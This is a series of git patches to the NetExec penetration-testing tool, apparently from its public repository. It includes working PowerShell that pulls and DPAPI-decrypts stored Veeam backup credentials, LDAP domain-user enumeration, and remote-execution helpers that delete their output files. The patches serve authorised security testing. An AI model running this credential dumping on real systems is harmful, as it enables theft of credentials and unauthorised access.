self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in active_users: - pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") def asreproast(self): From c7a08866f4324b9a4e3627ffccd6defec987b2df Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:18:38 -0500 Subject: [PATCH 244/376] Formating --- nxc/protocols/ldap.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e003696e..cf2b1d47 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -645,7 +645,7 @@ class ldap(connection): search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" + search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] @@ -653,7 +653,7 @@ class ldap(connection): if resp: resp_parse = parse_result_attributes(resp) - + # We print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") @@ -711,7 +711,7 @@ class ldap(connection): for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: if found_record: break # If a record has been found, stop checking further - + try: answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) for rdata in answers: From d5b5ec9d861ffece55862a7291aa9422e4e00b06 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 17:25:45 -0500 Subject: [PATCH 245/376] Replace user disabled value with constant --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index cf2b1d47..1e20edfd 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -757,7 +757,7 @@ class ldap(connection): if resp: all_users = parse_result_attributes(resp) # Filter disabled users (ignore accounts without userAccountControl value) - active_users = [user for user in all_users if not (int(user.get("userAccountControl", 2)) & 2)] + active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") From f282ca7dae4708b6c6034ada4b8aa5af90a3a34f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 18:21:34 -0500 Subject: [PATCH 246/376] Fix format string --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index fd59b61e..33960d62 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -772,7 +772,7 @@ class ldap(connection): pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") - self.logger.highlight(f"{user.get("sAMAccountName", ''):<30}{pwd_last_set:<20}{user.get("badPwdCount", ''):<9}{user.get("description", '')}") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: From 5969756b35c42ef0e9e822abc67d42d7fc3118b5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 8 Feb 2025 19:59:50 -0500 Subject: [PATCH 247/376] Fix hardcoded option to arg --- nxc/protocols/mssql/mssqlexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 46fd7b8e..3436a002 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -48,7 +48,7 @@ class MSSQLEXEC: def backup_and_enable(self, option): try: - self.backuped_options[option] = self.is_option_enabled("show advanced options") + self.backuped_options[option] = self.is_option_enabled(option) if not self.backuped_options[option]: self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" From 5e14baee44adcce296a160578d1b750fb445ff1a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 11 Feb 2025 18:00:08 -0500 Subject: [PATCH 248/376] Fix #564 --- nxc/protocols/smb/passpol.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index fa1bcb20..dbea1931 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -23,7 +23,7 @@ def convert(low, high, lockout=False): time = "" tmp = 0 - if low == 0 and hex(high) == "-0x80000000": + if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000: return "Not Set" if low == 0 and high == 0: return "None" @@ -35,7 +35,7 @@ def convert(low, high, lockout=False): high = abs(high) low = abs(low) - tmp = low + (high) * 16**8 # convert to 64bit int + tmp = low + (high << 32) # convert to 64bit int tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) From 1d4b4cbc60820615a258e5f7cd515e7653579ac2 Mon Sep 17 00:00:00 2001 From: jdholtz Date: Sun, 16 Feb 2025 22:56:17 -0800 Subject: [PATCH 249/376] [smb] Always delete output file --- nxc/protocols/smb/atexec.py | 4 +++- nxc/protocols/smb/mmcexec.py | 4 +++- nxc/protocols/smb/smbexec.py | 4 +++- nxc/protocols/smb/wmiexec.py | 4 +++- 4 files changed, 12 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index b0ed35b4..00bba6fe 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -207,8 +207,10 @@ class TSCH_EXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") smbConnection.deleteFile(self.__share, self.__output_filename) + except Exception: + pass dce.disconnect() diff --git a/nxc/protocols/smb/mmcexec.py b/nxc/protocols/smb/mmcexec.py index 57d30d4a..3112a374 100644 --- a/nxc/protocols/smb/mmcexec.py +++ b/nxc/protocols/smb/mmcexec.py @@ -280,6 +280,8 @@ class MMCEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index ab043dbf..2f9a6843 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -172,9 +172,11 @@ class SMBEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass def execute_fileless(self, data): self.__output = gen_random_string(6) diff --git a/nxc/protocols/smb/wmiexec.py b/nxc/protocols/smb/wmiexec.py index b90882b7..6fad376a 100755 --- a/nxc/protocols/smb/wmiexec.py +++ b/nxc/protocols/smb/wmiexec.py @@ -171,6 +171,8 @@ class WMIEXEC: else: self.logger.debug(f"Exception when trying to read output file: {e}") - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass From 4de3f32629145676d01219085ae583b40de386b6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 10:24:14 -0500 Subject: [PATCH 250/376] Add exception handling for listing a single folder --- nxc/modules/spider_plus.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index da7d1bec..7593952b 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -3,10 +3,11 @@ import errno from os.path import abspath, join, split, exists, splitext, getsize, sep from os import makedirs, remove, stat import time -from nxc.paths import TMP_PATH +from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError +from impacket.nmb import NetBIOSTimeout CHUNK_SIZE = 4096 @@ -213,9 +214,9 @@ class SMBSpiderPlus: # Start the spider at the root of the share folder self.results[share_name] = {} self.spider_folder(share_name, "") - except SessionError as e: + except (SessionError, NetBIOSTimeout) as e: self.logger.exception(e) - self.logger.fail("Got a session error while spidering.") + self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}") self.reconnect() except Exception as e: @@ -238,7 +239,11 @@ class SMBSpiderPlus: """ self.logger.info(f'Spider share "{share_name}" in folder "{folder}".') - filelist = self.list_path(share_name, folder + "*") + try: + filelist = self.list_path(share_name, folder + "*") + except Exception: + self.logger.fail(f"Error listing path: {share_name}:/{folder}. Skipping...") + return # For each entry: # - It's a folder then we spider it (skipping `.` and `..`) From 1476373519bf0c5ecf9ad6e09eeb251b02636bdf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 10:25:43 -0500 Subject: [PATCH 251/376] Change output path from temp to nxc folder --- nxc/modules/spider_plus.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 7593952b..a45a240e 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -491,7 +491,7 @@ class NXCModule: EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk) EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$) MAX_FILE_SIZE Max file size to download (Default: 51200) - OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus) + OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus) """ self.download_flag = False if any("DOWNLOAD" in key for key in module_options): @@ -504,7 +504,7 @@ class NXCModule: self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$")) self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024)) - self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus"))) + self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus"))) def on_login(self, context, connection): context.log.display("Started module spidering_plus with the following options:") From 39f1309ff2e8b8e481445ac9ea59ae0d3752a3a0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 10:29:49 -0500 Subject: [PATCH 252/376] Formating --- nxc/modules/spider_plus.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index a45a240e..4526aa51 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -122,13 +122,10 @@ class SMBSpiderPlus: if "STATUS_ACCESS_DENIED" in str(e): self.logger.debug(f'Cannot list files in folder "{subfolder}".') - elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The folder {subfolder} does not exist.") - elif self.reconnect(): filelist = self.list_path(share, subfolder) - return filelist def get_remote_file(self, share, path): From 0cc9a452f21b29380835434e79e729fb6c7519a4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 18 Feb 2025 12:26:00 -0500 Subject: [PATCH 253/376] Add exception handling for NetBIOSTimeout Exceptions --- nxc/modules/spider_plus.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 4526aa51..9ccc148d 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -117,8 +117,7 @@ class SMBSpiderPlus: filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: - self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".') - self.logger.debug(str(e)) + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') if "STATUS_ACCESS_DENIED" in str(e): self.logger.debug(f'Cannot list files in folder "{subfolder}".') @@ -126,6 +125,8 @@ class SMBSpiderPlus: self.logger.debug(f"The folder {subfolder} does not exist.") elif self.reconnect(): filelist = self.list_path(share, subfolder) + except NetBIOSTimeout as e: + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') return filelist def get_remote_file(self, share, path): @@ -164,7 +165,7 @@ class SMBSpiderPlus: def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. - + It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system. The folder path and filename are then obtained separately. """ @@ -236,11 +237,7 @@ class SMBSpiderPlus: """ self.logger.info(f'Spider share "{share_name}" in folder "{folder}".') - try: - filelist = self.list_path(share_name, folder + "*") - except Exception: - self.logger.fail(f"Error listing path: {share_name}:/{folder}. Skipping...") - return + filelist = self.list_path(share_name, folder + "*") # For each entry: # - It's a folder then we spider it (skipping `.` and `..`) @@ -376,7 +373,7 @@ class SMBSpiderPlus: def dump_folder_metadata(self, results): """Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`. - + The results are formatted with indentation and sorted keys before being written to the file. """ metadata_path = join(self.output_folder, f"{self.host}.json") From 18f7033acd27e79cabaf80656b77484317402472 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 13:06:37 -0500 Subject: [PATCH 254/376] Add salted dpapi decryption for latest veeam installations --- .../veeam_dump_module/veeam_dump_mssql.ps1 | 32 +++++++++++++++-- .../veeam_dump_postgresql.ps1 | 36 ++++++++++++++++--- nxc/modules/veeam.py | 29 +++++++++++---- 3 files changed, 82 insertions(+), 15 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 3d14ccc5..6701e403 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -1,6 +1,7 @@ $SqlDatabaseName = "REPLACE_ME_SqlDatabase" $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" +$b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string $SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords @@ -29,12 +30,37 @@ if ($rows.count -eq 0) { } Add-Type -assembly System.Security -#Decrypting passwords using DPAPI +# Decrypting passwords using DPAPI $rows | ForEach-Object -Process { $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) + foreach ($byte in $EnryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.password = $pw_string } Write-Output $rows | Format-Table -HideTableHeaders | Out-String diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 16ad63f3..695836aa 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -1,8 +1,9 @@ $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" +$b64Salt = "REPLACE_ME_b64Salt" -$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv if ($output.count -eq 0) { @@ -10,13 +11,38 @@ if ($output.count -eq 0) { exit } +# Decrypting passwords using DPAPI Add-Type -assembly System.Security -#Decrypting passwords using DPAPI $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $EnryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) + foreach ($byte in $EnryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.password = $pw_string } Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index cd2fc0cb..6f61071a 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -40,6 +40,9 @@ class NXCModule: PostgresUserForWindowsAuth = "" SqlDatabaseName = "" + # Salt for newer Veeam versions + salt = "" + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() @@ -72,6 +75,8 @@ class NXCModule: SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + + salt = self.get_salt(context, remoteOps, regHandle) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No Veeam v12 installation found") @@ -107,28 +112,38 @@ class NXCModule: # Check if we found an SQL Server of some kind if SqlDatabase and SqlInstance and SqlServer: context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...') - credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer) + credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt) self.printCreds(context, credentials) elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName: context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...') - credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName) + credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt) self.printCreds(context, credentials) - def stripXmlOutput(self, context, output): - return output.split("CLIXML")[1].split(" Date: Wed, 19 Feb 2025 13:06:59 -0500 Subject: [PATCH 255/376] Correct spelling --- nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 | 14 +++++++------- .../veeam_dump_module/veeam_dump_postgresql.ps1 | 14 +++++++------- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 6701e403..b0f1fca4 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -32,29 +32,29 @@ if ($rows.count -eq 0) { Add-Type -assembly System.Security # Decrypting passwords using DPAPI $rows | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) - $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) - foreach ($byte in $EnryptedPWD) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) - $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { - $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 695836aa..d4b6e27d 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -14,29 +14,29 @@ if ($output.count -eq 0) { # Decrypting passwords using DPAPI Add-Type -assembly System.Security $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) - $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) - foreach ($byte in $EnryptedPWD) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) - $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { - $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" From 3235b1d9df4e4d1e7c5f00f0129d19857c1dc9ef Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 13:53:24 -0500 Subject: [PATCH 256/376] Add description to output --- .../veeam_dump_module/veeam_dump_mssql.ps1 | 4 +++- .../veeam_dump_postgresql.ps1 | 4 +++- nxc/modules/veeam.py | 18 ++++++++++++------ 3 files changed, 18 insertions(+), 8 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index b0f1fca4..c0df4c25 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -60,7 +60,9 @@ $rows | ForEach-Object -Process { $pw_string = "COULD_NOT_DECRYPT" } } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $rows | Format-Table -HideTableHeaders | Out-String +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index d4b6e27d..cb198826 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -42,7 +42,9 @@ $output | ForEach-Object -Process { $pw_string = "COULD_NOT_DECRYPT" } } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 \ No newline at end of file diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index 6f61071a..63e1ea87 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -167,13 +167,19 @@ class NXCModule: # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError. # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes. try: + context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}") + context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}") for account in output_stripped: - user, password = account.split(" ", 1) - password = password.strip().replace("WHITESPACE_ERROR", " ") - user = user.strip() - context.log.highlight(f"{user}:{password}") - if " " in password: - context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"') + # Remove multiple whitespaces + account = " 